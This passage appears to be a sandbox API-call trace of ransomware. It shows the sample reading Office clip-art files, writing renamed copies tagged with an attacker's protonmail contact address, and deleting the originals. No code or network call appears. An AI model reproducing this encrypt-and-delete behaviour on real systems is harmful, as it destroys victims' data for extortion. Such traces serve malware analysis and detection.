	[0194.638] lstrlenW (lpString=".xlsx") returned 5
	[0194.638] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.638] lstrlenW (lpString=".ppt") returned 4
	[0194.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.638] lstrlenW (lpString=".zip") returned 4
	[0194.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.638] lstrlenW (lpString=".rar") returned 4
	[0194.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.638] lstrlenW (lpString=".bz2") returned 4
	[0194.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.638] lstrlenW (lpString=".7z") returned 3
	[0194.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.639] lstrlenW (lpString=".dbf") returned 4
	[0194.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.639] lstrlenW (lpString=".1cd") returned 4
	[0194.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68
	[0194.639] lstrlenW (lpString=".jpg") returned 4
	[0194.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.639] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.639] lstrlenW (lpString="J0107024.WMF") returned 12
	[0194.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.656] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3020) returned 1
	[0194.656] CloseHandle (hObject=0x5e8) returned 1
	[0194.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220
	[0194.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.657] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.657] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0194.658] GetLastError () returned 0x0
	[0194.658] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xbcc, lpOverlapped=0x0) returned 1
	[0194.660] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0194.661] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.661] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.661] SetEndOfFile (hFile=0x514) returned 1
	[0194.662] CloseHandle (hObject=0x514) returned 1
	[0194.662] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.662] SetEndOfFile (hFile=0x5e8) returned 1
	[0194.665] CloseHandle (hObject=0x5e8) returned 1
	[0194.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1
	[0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.667] lstrlenW (lpString=".doc") returned 4
	[0194.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.667] lstrlenW (lpString=".docx") returned 5
	[0194.667] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0194.667] lstrlenW (lpString=".pdf") returned 4
	[0194.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.667] lstrlenW (lpString=".xls") returned 4
	[0194.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.667] lstrlenW (lpString=".xlsx") returned 5
	[0194.667] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0194.667] lstrlenW (lpString=".ppt") returned 4
	[0194.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.667] lstrlenW (lpString=".zip") returned 4
	[0194.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.667] lstrlenW (lpString=".rar") returned 4
	[0194.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.667] lstrlenW (lpString=".bz2") returned 4
	[0194.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.667] lstrlenW (lpString=".7z") returned 3
	[0194.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.667] lstrlenW (lpString=".dbf") returned 4
	[0194.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.667] lstrlenW (lpString=".1cd") returned 4
	[0194.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.668] lstrlenW (lpString=".jpg") returned 4
	[0194.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.668] lstrlenW (lpString=".doc") returned 4
	[0194.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.668] lstrlenW (lpString=".docx") returned 5
	[0194.668] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0194.668] lstrlenW (lpString=".pdf") returned 4
	[0194.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.668] lstrlenW (lpString=".xls") returned 4
	[0194.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.668] lstrlenW (lpString=".xlsx") returned 5
	[0194.668] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0194.668] lstrlenW (lpString=".ppt") returned 4
	[0194.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.668] lstrlenW (lpString=".zip") returned 4
	[0194.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.668] lstrlenW (lpString=".rar") returned 4
	[0194.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.668] lstrlenW (lpString=".bz2") returned 4
	[0194.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.668] lstrlenW (lpString=".7z") returned 3
	[0194.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.668] lstrlenW (lpString=".dbf") returned 4
	[0194.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.669] lstrlenW (lpString=".1cd") returned 4
	[0194.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0194.669] lstrlenW (lpString=".jpg") returned 4
	[0194.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.669] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.669] lstrlenW (lpString="J0107042.WMF") returned 12
	[0194.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.670] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9048) returned 1
	[0194.670] CloseHandle (hObject=0x5e8) returned 1
	[0194.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220
	[0194.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.670] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.671] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0194.671] GetLastError () returned 0x0
	[0194.671] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2358, lpOverlapped=0x0) returned 1
	[0194.673] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2360, lpOverlapped=0x0) returned 1
	[0194.675] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.675] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.675] SetEndOfFile (hFile=0x514) returned 1
	[0194.675] CloseHandle (hObject=0x514) returned 1
	[0194.675] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.675] SetEndOfFile (hFile=0x5e8) returned 1
	[0194.679] CloseHandle (hObject=0x5e8) returned 1
	[0194.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1
	[0194.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.680] lstrlenW (lpString=".doc") returned 4
	[0194.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.680] lstrlenW (lpString=".docx") returned 5
	[0194.680] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.680] lstrlenW (lpString=".pdf") returned 4
	[0194.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.680] lstrlenW (lpString=".xls") returned 4
	[0194.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.680] lstrlenW (lpString=".xlsx") returned 5
	[0194.680] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.680] lstrlenW (lpString=".ppt") returned 4
	[0194.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.680] lstrlenW (lpString=".zip") returned 4
	[0194.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.681] lstrlenW (lpString=".rar") returned 4
	[0194.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.681] lstrlenW (lpString=".bz2") returned 4
	[0194.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.681] lstrlenW (lpString=".7z") returned 3
	[0194.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.681] lstrlenW (lpString=".dbf") returned 4
	[0194.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.681] lstrlenW (lpString=".1cd") returned 4
	[0194.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.681] lstrlenW (lpString=".jpg") returned 4
	[0194.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.681] lstrlenW (lpString=".doc") returned 4
	[0194.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.681] lstrlenW (lpString=".docx") returned 5
	[0194.681] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.681] lstrlenW (lpString=".pdf") returned 4
	[0194.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.681] lstrlenW (lpString=".xls") returned 4
	[0194.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.681] lstrlenW (lpString=".xlsx") returned 5
	[0194.681] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.681] lstrlenW (lpString=".ppt") returned 4
	[0194.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.682] lstrlenW (lpString=".zip") returned 4
	[0194.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.682] lstrlenW (lpString=".rar") returned 4
	[0194.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.682] lstrlenW (lpString=".bz2") returned 4
	[0194.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.682] lstrlenW (lpString=".7z") returned 3
	[0194.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.682] lstrlenW (lpString=".dbf") returned 4
	[0194.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.682] lstrlenW (lpString=".1cd") returned 4
	[0194.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68
	[0194.682] lstrlenW (lpString=".jpg") returned 4
	[0194.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.682] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.682] lstrlenW (lpString="J0107090.WMF") returned 12
	[0194.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.683] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14132) returned 1
	[0194.683] CloseHandle (hObject=0x5e8) returned 1
	[0194.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220
	[0194.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.684] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.684] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0194.685] GetLastError () returned 0x0
	[0194.685] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0194.687] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0194.689] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.945] WriteFile (in: hFile=0x514, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.945] SetEndOfFile (hFile=0x514) returned 1
	[0194.945] CloseHandle (hObject=0x514) returned 1
	[0194.945] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.945] SetEndOfFile (hFile=0x5e8) returned 1
	[0194.948] CloseHandle (hObject=0x5e8) returned 1
	[0194.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1
	[0195.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.415] lstrlenW (lpString=".doc") returned 4
	[0195.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.415] lstrlenW (lpString=".docx") returned 5
	[0195.415] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0195.415] lstrlenW (lpString=".pdf") returned 4
	[0195.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.415] lstrlenW (lpString=".xls") returned 4
	[0195.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.415] lstrlenW (lpString=".xlsx") returned 5
	[0195.415] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0195.415] lstrlenW (lpString=".ppt") returned 4
	[0195.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.415] lstrlenW (lpString=".zip") returned 4
	[0195.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.415] lstrlenW (lpString=".rar") returned 4
	[0195.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.415] lstrlenW (lpString=".bz2") returned 4
	[0195.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.415] lstrlenW (lpString=".7z") returned 3
	[0195.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.415] lstrlenW (lpString=".dbf") returned 4
	[0195.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.415] lstrlenW (lpString=".1cd") returned 4
	[0195.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.416] lstrlenW (lpString=".jpg") returned 4
	[0195.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68
	[0195.416] lstrlenW (lpString=".doc") returned 4
	[0195.416] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString=".docx") returned 5
	[0195.416] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0195.416] lstrlenW (lpString=".pdf") returned 4
	[0195.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.416] lstrlenW (lpString=".xls") returned 4
	[0195.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.416] lstrlenW (lpString=".xlsx") returned 5
	[0195.416] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
